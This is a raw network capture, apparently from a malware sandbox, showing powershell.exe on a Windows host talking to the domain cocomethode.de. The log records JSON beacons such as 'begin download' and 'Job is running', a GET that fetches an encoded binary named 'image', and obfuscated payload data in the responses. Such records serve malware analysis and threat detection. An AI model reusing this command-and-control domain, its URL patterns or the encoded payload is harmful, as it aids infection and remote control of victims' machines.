2024-12-11 11:29:20 UTC	1369	IN	Data Raw: 78 4e 59 57 6a 53 30 5b 30 5b 44 53 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 71 75 4e 59 6d 4b 50 33 65 73 58 57 4f 43 4e 54 6d 44 50 55 65 4b 50 30 4b 76 52 54 4c 79 62 33 53 45 50 56 75 5b 63 6c 76 76 56 6d 57 46 64 56 4f 75 53 6b 57 4c 60 32 69 72 58 6c 30 6a 4c 46 47 44 62 33 65 4a 53 33 75 78 52 32 6d 73 5b 33 57 34 50 56 75 5b 63 6c 76 76 56 6d 57 46 64 56 4f 75 53 6b 57 59 64 57 4b 76 56 47 4f 43 4e 54 6d 45 54 6c 6d 6d 56 47 4b 72 54 57 69 4a 64 57 6d 58 63 46 4b 4a 53 33 79 6a 52 54 4c 79 60 56 57 49 4e 59 6d 4b 53 44 54 32 52 54 66 76 55 6a 4f 6f 60 31 71 55 57 7b 54 78 58 6b 4b 31 63 44 79 57 57 6b 53 6b 52 44 71 72 58 7b 4f 4e 62 46 48 78 4f 46 65 4d 53 6f 53 54 5b 57 69 4e 4c 47 71 59 4c 49 57 56 53 30 58 31 5b 44 4c 30 53 6c Data Ascii: xNYWjS0[0[DS{UjOqPVeKP1GoRTOC[0quNYmKP3esXWOCNTmDPUeKP0KvRTLyb3SEPVu[clvvVmWFdVOuSkWL`2irXl0jLFGDb3eJS3uxR2ms[3W4PVu[clvvVmWFdVOuSkWYdWKvVGOCNTmETlmmVGKrTWiJdWmXcFKJS3yjRTLy`VWINYmKSDT2RTfvUjOo`1qUW{TxXkK1cDyWWkSkRDqrX{ONbFHxOFeMSoST[WiNLGqYLIWVS0X1[DL0Sl
2024-12-11 11:29:20 UTC	471	IN	Data Raw: 68 4c 6c 53 4e 56 6d 69 4e 64 6d 6d 59 5b 46 79 6b 64 54 44 34 52 54 57 43 63 31 75 54 62 31 34 45 60 54 47 6f 52 54 4f 43 60 33 4b 49 4e 56 34 54 57 30 5b 37 58 7b 4b 46 63 6d 71 58 55 56 65 4d 64 6b 43 6f 52 6a 69 4e 4c 46 4f 75 63 49 57 60 4c 44 71 33 56 6a 69 73 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 6a 65 35 65 6d 6e 76 4c 56 79 6b 4c 31 34 6e 56 6b 4b 56 64 6a 6d 45 62 7b 6d 4b 50 31 6d 31 55 47 4c 76 65 44 79 55 4c 49 53 4c 54 7b 43 31 52 56 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 30 71 59 53 6c 75 60 56 44 71 37 52 54 50 76 5b 30 47 48 65 45 6d 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6f 4b 60 56 46 75 6f 54 47 4f 43 60 57 44 78 4e 59 57 6a 53 30 5b 30 5b 44 4c 79 57 56 57 58 50 6c 79 4b 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 Data Ascii: hLlSNVmiNdmmY[FykdTD4RTWCc1uTb14E`TGoRTOC`3KINV4TW0[7X{KFcmqXUVeMdkCoRjiNLFOucIW`LDq3VjisO1SSc3eKP1GoRje5emnvLVykL14nVkKVdjmEb{mKP1m1UGLveDyULISLT{C1RVq{UjOoLDuKP1GoRTORc0qYSlu`VDq7RTPv[0GHeEmQe{CMRTOC[1mEToK`VFuoTGOC`WDxNYWjS0[0[DLyWVWXPlyK`oONP3mC[1mEPV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.30	49741	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:21 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9137f27af5d301268105 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:29:21 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 64 35 31 63 33 64 63 62 38 35 33 64 36 63 34 39 37 31 39 36 34 38 30 62 30 33 64 62 63 36 34 30 32 34 38 66 63 65 66 34 34 64 66 36 36 62 35 61 31 36 32 65 32 64 34 36 64 65 36 38 63 61 31 33 64 35 37 66 37 36 36 38 36 37 65 31 37 31 32 63 31 31 31 31 66 39 33 64 34 31 32 30 37 65 39 61 36 36 62 34 63 37 39 61 32 61 32 32 61 38 66 33 66 39 37 37 35 35 34 62 33 38 63 32 63 31 32 62 38 64 36 64 30 66 38 37 34 64 35 64 32 38 64 65 36 36 36 39 30 30 30 30 38 35 35 31 61 35 61 37 34 38 38 34 38 30 37 63 32 32 31 66 36 37 37 64 64 31 31 39 64 65 38 39 32 35 32 37 30 61 35 31 35 39 62 34 64 35 39 35 34 Data Ascii: [ "\"begin download https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766867e1712c1111f93d41207e9a66b4c79a2a22a8f3f977554b38c2c12b8d6d0f874d5d28de666900008551a5a74884807c221f677dd119de8925270a5159b4d5954
2024-12-11 11:29:21 UTC	1199	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:21 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ypeo%2B4iai27Q2ZPEYimM4UzAOMRijdMf%2BkakjgCFM%2BizlM8rcCoplnjZ4Nj0yln1gMC8nT0QXFCfrUsAv84dMWor93zXY52pLP8YH8%2BPcctjSkLHnoStem1Txne8pZE5ZqIMZ0yMUJiH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19949&min_rtt=1483&rtt_var=25694&sent=12626&recv=5764&lost=0&retrans=0&sent_bytes=18079949&recv_bytes=59770&delivery_rate=47464913&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0522ebee541d7a-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=50&rtt_var=25&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113727&min_rtt=113712&rtt_var=24012&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1248&delivery_rate=33669&cwnd=246&unsent_bytes=0&cid=eef298e9960e6700&ts=821&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.30	49742	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:22 UTC	365	OUT	GET /file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766867e1712c1111f93d41207e9a66b4c79a2a22a8f3f977554b38c2c12b8d6d0f874d5d28de666900008551a5a74884807c221f677dd119de8925270a5159b4d5954723b3d86ef67de15dc0d9b5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:29:22 UTC	1312	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:22 GMT Content-Type: application/octet-stream Content-Length: 21716 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XcDwjtbZ5Idzuq52RRmAqhU5A7WrV9fZAD7l6Ob2baHGmzjPnC0sp1u4HEljcLdNQ39ASW1YXNc7fWeczNKuof3n2TU7aQ3SrhbOL%2BV2fj9k9QVW%2Fb64ReDKUpQ7qHx8bMaCFUTEx1HK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17656&min_rtt=1483&rtt_var=23857&sent=12629&recv=5766&lost=0&retrans=0&sent_bytes=18080729&recv_bytes=60778&delivery_rate=47464913&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0522f29be444ef-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113740&min_rtt=113649&rtt_var=24112&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33623&cwnd=252&unsent_bytes=0&cid=6a697d1f131063c5&ts=861&x=0"
2024-12-11 11:29:22 UTC	57	IN	Data Raw: 25 72 76 77 63 66 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e Data Ascii: %rvwcf<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bn
2024-12-11 11:29:22 UTC	1369	IN	Data Raw: 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 56 6f 5b 6b 63 57 57 6f 56 55 4b 6e 63 47 6a 78 65 49 43 68 63 56 4f 6f 56 57 65 6a 60 46 47 59 4f 44 34 45 60 54 47 6f 52 54 4f 42 57 46 53 49 53 6f 6d 6a 50 7b 47 54 58 6a 65 56 63 46 4f 45 50 59 53 57 4c 6d 5b 70 58 6b 48 30 60 33 4f 34 50 59 69 44 54 56 38 6f 52 54 4f 43 5b 31 71 49 4f 56 79 6a 4c 57 4b 76 58 6d 65 57 5b 30 43 55 50 6a 69 60 56 47 47 31 54 6a 65 46 4c 47 71 54 62 31 34 45 60 54 47 6f 52 54 4f 42 54 6d 4f 57 4e 54 38 54 63 49 43 4a 57 30 57 72 54 44 6d 45 52 6a 53 69 53 30 5b 70 58 55 4b 72 65 57 71 34 50 6c 30 68 4c 31 6d 6f 52 6a 57 60 62 46 4b 49 57 6a 38 5b 57 7b 47 72 52 54 65 72 65 54 6d 45 54 6b 43 60 57 7b 47 32 54 6c 31 34 62 30 71 49 57 6f 6d 4c 60 Data Ascii: owdsu\;;GsnlC`rd75Rushof)#Vo[kcWWoVUKncGjxeIChcVOoVWej`FGYOD4E`TGoRTOBWFSISomjP{GTXjeVcFOEPYSWLm[pXkH0`3O4PYiDTV8oRTOC[1qIOVyjLWKvXmeW[0CUPji`VGG1TjeFLGqTb14E`TGoRTOBTmOWNT8TcICJW0WrTDmERjSiS0[pXUKreWq4Pl0hL1moRjW`bFKIWj8[W{GrRTereTmETkC`W{G2Tl14b0qIWomL`
2024-12-11 11:29:22 UTC	1369	IN	Data Raw: 45 50 56 65 4b 50 31 30 6f 57 56 30 56 4c 46 53 58 52 6f 57 4b 50 30 4b 75 56 57 65 35 64 6d 71 55 50 6f 43 68 63 57 4b 76 56 55 4b 46 4c 46 47 59 4f 56 34 4b 52 47 4b 77 56 6d 4f 42 63 56 47 59 64 46 79 4b 52 46 53 6e 58 32 6d 42 65 56 48 7b 54 56 65 60 63 55 6a 79 58 6c 30 53 55 6a 4f 71 50 56 65 4b 50 31 4b 34 56 6d 69 52 4c 56 4f 75 4f 46 65 4a 53 30 71 6e 58 6a 69 4e 63 44 53 53 62 45 6d 44 54 56 38 4e 50 33 62 76 52 30 57 57 63 47 43 54 60 7b 57 69 54 30 5b 72 52 6d 53 34 50 56 6d 53 4c 6c 69 72 56 55 4b 7b 5b 33 4b 58 57 6b 43 60 56 46 66 76 52 56 71 7b 55 6a 4f 71 54 6f 53 6a 52 46 69 6c 56 55 4b 6e 62 46 4b 49 54 56 65 50 54 31 4b 51 56 6d 69 6b 65 47 50 78 52 6f 47 60 57 31 35 76 52 54 5b 4e 4f 56 4c 7b 54 6c 79 68 54 7b 57 57 58 54 69 4a 63 47 Data Ascii: EPVeKP10oWV0VLFSXRoWKP0KuVWe5dmqUPoChcWKvVUKFLFGYOV4KRGKwVmOBcVGYdFyKRFSnX2mBeVH{TVe`cUjyXl0SUjOqPVeKP1K4VmiRLVOuOFeJS0qnXjiNcDSSbEmDTV8NP3bvR0WWcGCT`{WiT0[rRmS4PVmSLlirVUK{[3KXWkC`VFfvRVq{UjOqToSjRFilVUKnbFKITVePT1KQVmikeGPxRoG`W15vRT[NOVL{TlyhT{WWXTiJcG
2024-12-11 11:29:22 UTC	1369	IN	Data Raw: 57 6d 57 46 53 47 50 7b 50 6c 79 68 60 6f 4f 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 53 33 79 75 52 31 4f 52 62 46 4c 79 57 6a 4b 53 4c 45 6d 32 56 6d 62 31 5b 31 79 59 57 6f 69 4b 53 44 47 76 53 47 47 77 5b 31 6d 45 50 56 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 52 54 30 54 34 55 30 53 72 62 44 71 59 57 56 79 50 52 54 4f 4a 62 6c 4b 34 50 6c 71 5b 57 7b 53 6f 56 56 34 72 65 30 6d 58 55 6f 71 4b 52 47 5b 6e 56 59 6d 4b 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 46 55 6b 43 5b 56 44 6e 76 55 47 5b 42 64 56 48 78 55 6c 79 6b 4c 31 30 6f 52 56 30 4e 65 47 71 45 4f 56 79 6d 53 30 57 71 52 54 4c 79 57 30 71 58 52 6c 6d 4b 52 44 6e 79 58 6c 30 46 64 6a 6d 45 4c 57 69 69 57 7b 57 73 58 6b 4f 6a 57 46 53 48 63 49 4f 60 54 31 4b Data Ascii: WmWFSGP{Plyh`oONP3bvR1mEPVeKS3yuR1ORbFLyWjKSLEm2Vmb1[1yYWoiKSDGvSGGw[1mEPVeme{CMRTOC[1mEPVeKP1KRT0T4U0SrbDqYWVyPRTOJblK4Plq[W{SoVV4re0mXUoqKRG[nVYmKO1SSc3eKP1GoRTOC[1mFUkC[VDnvUG[BdVHxUlykL10oRV0NeGqEOVymS0WqRTLyW0qXRlmKRDnyXl0FdjmELWiiW{WsXkOjWFSHcIO`T1K
2024-12-11 11:29:22 UTC	743	IN	Data Raw: 6a 4b 6d 60 31 5b 48 57 30 57 46 55 33 50 76 53 55 47 53 57 57 4b 70 54 57 54 79 63 6d 47 75 65 44 4b 52 4c 47 5b 42 57 33 30 6a 50 6c 57 73 53 6a 57 69 4c 44 5b 4e 57 57 57 4a 65 47 47 57 54 6a 5b 53 57 55 44 7b 54 56 30 72 50 6d 48 79 53 6a 4b 54 63 56 53 45 58 54 57 46 53 57 65 57 53 6d 43 57 57 54 71 79 54 57 57 52 63 6d 47 57 4e 57 4b 53 56 46 69 42 54 6a 65 31 50 6d 53 57 53 6a 4b 6d 57 54 5b 47 56 6b 43 46 55 6d 47 57 53 59 71 53 57 56 53 46 54 57 5b 72 54 6d 47 75 65 44 4b 52 53 6a 5b 42 57 47 65 6a 50 6c 57 73 53 6a 57 59 57 54 5b 4e 56 6b 43 47 64 6d 47 57 54 6c 34 53 57 55 47 52 54 57 69 6e 50 6d 48 76 4c 54 4b 54 4c 44 5b 45 58 6a 57 46 53 57 47 57 53 6c 47 53 57 54 57 32 54 57 57 6a 53 6d 47 56 63 47 4b 53 57 44 34 42 54 6b 47 56 50 6d 65 72 Data Ascii: jKm`1[HW0WFU3PvSUGSWWKpTWTycmGueDKRLG[BW30jPlWsSjWiLD[NWWWJeGGWTj[SWUD{TV0rPmHySjKTcVSEXTWFSWeWSmCWWTqyTWWRcmGWNWKSVFiBTje1PmSWSjKmWT[GVkCFUmGWSYqSWVSFTW[rTmGueDKRSj[BWGejPlWsSjWYWT[NVkCGdmGWTl4SWUGRTWinPmHvLTKTLD[EXjWFSWGWSlGSWTW2TWWjSmGVcGKSWD4BTkGVPmer
2024-12-11 11:29:23 UTC	1369	IN	Data Raw: 54 57 57 4e 50 6d 47 57 63 45 4f 53 57 33 53 42 54 6d 54 79 50 6d 6d 74 5b 44 4f 6a 57 54 5b 4b 57 30 57 46 58 57 57 57 52 6b 57 53 57 56 69 52 54 57 57 72 50 6d 47 75 63 44 4b 52 64 6c 69 42 57 33 75 46 50 31 34 57 53 6a 53 53 57 54 5b 73 54 57 57 4a 4c 6d 47 57 55 6a 4b 53 57 31 35 7b 54 56 71 42 50 6d 4f 47 63 44 4b 5b 57 6a 5b 45 5b 47 57 46 52 47 6a 76 53 6a 57 57 57 54 5b 4c 54 57 57 4e 50 6d 47 57 63 44 4b 53 57 33 53 42 54 55 43 46 50 6d 4f 73 53 6a 4f 6d 60 31 5b 4b 57 57 57 46 60 6d 6e 76 52 6f 65 53 57 56 4c 76 54 57 5b 76 4c 30 47 73 55 6a 4b 52 64 6c 69 42 57 33 75 46 50 31 34 57 53 6a 53 53 57 54 5b 53 57 57 57 46 63 6d 47 57 56 6f 71 53 57 31 35 7b 54 56 71 42 50 6d 4f 47 63 44 4b 5b 57 6a 5b 45 5b 47 57 46 52 47 6a 76 53 6d 6d 57 57 54 5b Data Ascii: TWWNPmGWcEOSW3SBTmTyPmmt[DOjWT[KW0WFXWWWRkWSWViRTWWrPmGucDKRdliBW3uFP14WSjSSWT[sTWWJLmGWUjKSW15{TVqBPmOGcDK[Wj[E[GWFRGjvSjWWWT[LTWWNPmGWcDKSW3SBTUCFPmOsSjOm`1[KWWWF`mnvRoeSWVLvTW[vL0GsUjKRdliBW3uFP14WSjSSWT[SWWWFcmGWVoqSW15{TVqBPmOGcDK[Wj[E[GWFRGjvSmmWWT[
2024-12-11 11:29:23 UTC	1369	IN	Data Raw: 47 5b 53 57 6f 43 52 54 57 53 6a 50 6d 47 54 50 6a 4b 53 4c 6c 53 42 56 6b 43 46 53 47 47 57 53 6a 71 53 57 54 5b 74 54 57 57 4e 54 6d 47 59 54 6d 4b 53 63 6c 79 42 54 6b 4b 31 50 6d 4f 57 53 6a 4b 51 57 54 5b 44 54 57 57 46 52 6d 6e 76 52 6a 34 53 57 57 54 31 54 57 5b 4a 4c 30 47 72 56 6a 4b 52 60 33 79 42 57 6a 57 46 50 6c 47 57 53 6a 57 6b 4c 44 5b 47 57 57 57 46 55 47 47 57 55 6a 4b 53 57 56 79 42 54 57 65 6a 50 6d 44 76 53 6a 4b 60 53 54 5b 45 5b 57 57 46 52 56 44 76 53 6a 57 57 57 54 5b 4c 54 57 57 4e 50 6d 47 57 63 44 4b 53 57 33 53 42 54 55 43 46 50 6d 4f 57 53 6a 4b 60 4c 44 5b 44 54 57 57 46 52 6d 47 57 52 55 4f 53 57 54 57 32 54 57 57 4e 63 6d 47 59 5b 44 4b 53 4c 44 5b 42 54 30 57 46 50 6d 6e 76 53 6a 53 53 57 54 5b 4a 54 57 57 46 63 6d 47 57 Data Ascii: G[SWoCRTWSjPmGTPjKSLlSBVkCFSGGWSjqSWT[tTWWNTmGYTmKSclyBTkK1PmOWSjKQWT[DTWWFRmnvRj4SWWT1TW[JL0GrVjKR`3yBWjWFPlGWSjWkLD[GWWWFUGGWUjKSWVyBTWejPmDvSjK`ST[E[WWFRVDvSjWWWT[LTWWNPmGWcDKSW3SBTUCFPmOWSjK`LD[DTWWFRmGWRUOSWTW2TWWNcmGY[DKSLD[BT0WFPmnvSjSSWT[JTWWFcmGW
2024-12-11 11:29:23 UTC	1369	IN	Data Raw: 5b 76 54 6d 47 74 57 6a 4b 52 4c 54 5b 42 54 30 57 46 50 6c 47 57 53 6a 69 55 57 54 5b 69 57 57 57 4a 65 57 47 57 5b 49 4b 53 57 31 71 74 54 57 65 6a 50 6d 48 79 53 6a 4b 5b 63 6c 53 45 55 55 43 46 52 44 34 47 53 6c 6d 53 57 54 6e 78 54 57 57 6a 53 6d 47 56 62 44 4b 53 57 33 53 42 54 55 47 46 50 6d 71 46 53 6a 4f 6d 57 54 5b 48 58 55 43 46 52 6d 6e 76 53 55 4f 53 57 54 57 32 54 57 57 4e 63 6d 47 57 62 44 4b 53 57 32 53 42 54 33 75 46 50 33 47 73 53 6a 69 51 53 54 5b 71 56 6b 43 4b 65 30 47 57 5b 47 5b 53 57 31 71 74 54 56 71 42 50 6d 44 76 53 6a 4b 57 53 6a 5b 42 56 6b 43 46 53 6c 44 76 53 6c 6d 60 4c 44 6d 34 54 57 57 6b 4f 47 47 59 53 6b 4f 53 63 59 69 42 54 59 71 42 50 6d 5b 74 5b 44 4f 68 53 54 5b 48 54 30 57 46 57 6d 6e 76 52 6f 4f 53 57 56 69 46 54 Data Ascii: [vTmGtWjKRLT[BT0WFPlGWSjiUWT[iWWWJeWGW[IKSW1qtTWejPmHySjK[clSEUUCFRD4GSlmSWTnxTWWjSmGVbDKSW3SBTUGFPmqFSjOmWT[HXUCFRmnvSUOSWTW2TWWNcmGWbDKSW2SBT3uFP3GsSjiQST[qVkCKe0GW[G[SW1qtTVqBPmDvSjKWSj[BVkCFSlDvSlm`LDm4TWWkOGGYSkOScYiBTYqBPm[t[DOhST[HT0WFWmnvRoOSWViFT
2024-12-11 11:29:23 UTC	1369	IN	Data Raw: 53 60 6d 5b 42 54 31 5b 46 50 6d 65 72 53 6a 4f 53 60 31 5b 4b 54 30 57 46 60 6d 6e 76 52 6c 38 53 57 56 69 78 54 57 57 31 54 6d 47 58 50 6a 4b 52 52 44 34 42 54 6a 5b 46 50 6d 4c 76 53 6a 4b 69 4c 44 5b 44 57 57 57 4a 62 47 47 57 60 44 71 53 57 6f 43 52 54 56 30 6e 50 6d 48 7b 55 6a 4b 54 4c 33 53 42 57 46 75 46 50 6c 48 76 53 6a 53 57 57 54 6a 30 54 57 57 47 65 30 47 57 55 6c 34 53 57 59 43 42 54 6b 40 79 50 6d 65 56 53 6a 4f 4f 53 54 5b 48 57 47 57 46 60 47 47 57 53 6a 38 53 57 54 5b 33 54 57 57 4e 54 6d 47 70 5b 44 4b 53 57 44 4b 42 54 55 4b 6a 50 6d 4f 73 53 6a 4b 69 4c 44 5b 56 5b 45 43 4a 62 30 47 57 58 7b 43 53 57 6f 43 42 54 57 65 6a 50 6d 44 79 53 6a 4b 59 52 46 53 42 5b 47 57 46 53 6d 5b 57 53 6c 79 53 57 54 71 79 54 57 57 6a 57 6d 47 59 55 6a Data Ascii: S`m[BT1[FPmerSjOS`1[KT0WF`mnvRl8SWVixTWW1TmGXPjKRRD4BTj[FPmLvSjKiLD[DWWWJbGGW`DqSWoCRTV0nPmH{UjKTL3SBWFuFPlHvSjSWWTj0TWWGe0GWUl4SWYCBTk@yPmeVSjOOST[HWGWF`GGWSj8SWT[3TWWNTmGp[DKSWDKBTUKjPmOsSjKiLD[V[ECJb0GWX{CSWoCBTWejPmDySjKYRFSB[GWFSm[WSlySWTqyTWWjWmGYUj
2024-12-11 11:29:23 UTC	1369	IN	Data Raw: 52 44 38 47 53 6c 75 6a 4c 44 6e 33 54 57 57 60 4c 30 47 56 57 6b 4f 53 60 6d 5b 42 54 31 54 79 50 6d 71 47 53 6a 4f 68 53 54 5b 48 55 54 57 46 55 6c 50 76 53 6b 57 53 57 57 6e 7b 54 57 5b 76 63 6d 47 74 56 6a 4b 52 4c 54 5b 42 56 57 57 46 50 33 4b 47 53 6a 69 6a 4c 44 5b 70 54 57 57 4a 62 30 47 57 60 44 71 53 57 59 69 74 54 56 30 35 50 6d 4f 49 5b 44 4b 59 63 44 5b 42 58 57 57 46 53 47 4f 57 53 6a 71 53 57 54 5b 76 54 57 57 4e 52 6d 47 56 53 6b 4f 53 57 47 71 42 54 6c 34 6a 50 6d 5b 74 5b 44 4f 6b 53 54 5b 48 55 6a 57 46 58 57 47 57 52 6b 4b 53 57 56 69 70 54 57 65 4e 4c 30 47 59 5b 44 4b 52 63 6c 53 42 57 6d 69 6a 50 31 34 57 53 6a 6d 54 57 54 5b 73 54 57 57 4a 62 30 47 57 58 32 65 53 57 55 44 7b 54 57 69 72 50 6d 4b 74 5b 44 4b 55 57 33 53 42 58 57 57 Data Ascii: RD8GSlujLDn3TWW`L0GVWkOS`m[BT1TyPmqGSjOhST[HUTWFUlPvSkWSWWn{TW[vcmGtVjKRLT[BVWWFP3KGSjijLD[pTWWJb0GW`DqSWYitTV05PmOI[DKYcD[BXWWFSGOWSjqSWT[vTWWNRmGVSkOSWGqBTl4jPm[t[DOkST[HUjWFXWGWRkKSWVipTWeNL0GY[DKRclSBWmijP14WSjmTWT[sTWWJb0GWX2eSWUD{TWirPmKt[DKUW3SBXWW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.30	49743	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:24 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 85
2024-12-11 11:29:24 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-12-11 11:29:24 UTC	1176	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:24 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x264yhMvIJgvcKH3z6b755fEtx3T4LLiMSCZGWxJkrLcQwAmdFr1ElTnYajkOTVLeY3fvW3PYl4PZdxsasiCrS%2B0JttkFfTsnh0X1HTX6PRhBqK731lCM7c4DMTe5E0nx%2FhjU%2BXrKb9o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18192&min_rtt=1541&rtt_var=25955&sent=18&recv=20&lost=0&retrans=0&sent_bytes=6963&recv_bytes=8017&delivery_rate=2467605&cwnd=255&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0522ffd915674c-ATL server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=39&rtt_var=16&sent=7&recv=9&lost=0&retrans=0&sent_bytes=4916&recv_bytes=2157&delivery_rate=1336387755&cwnd=118&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=158&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:29:24 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 39 34 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 38 33 26 72 74 74 5f 76 61 72 3d 32 34 30 31 39 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 32 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 35 37 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 65 65 36 64 36 63 63 61 37 63 32 65 31 65 34 26 74 73 3d 36 31 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113794&min_rtt=113783&rtt_var=24019&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1029&delivery_rate=33657&cwnd=252&unsent_bytes=0&cid=9ee6d6cca7c2e1e4&ts=618&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.30	49744	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
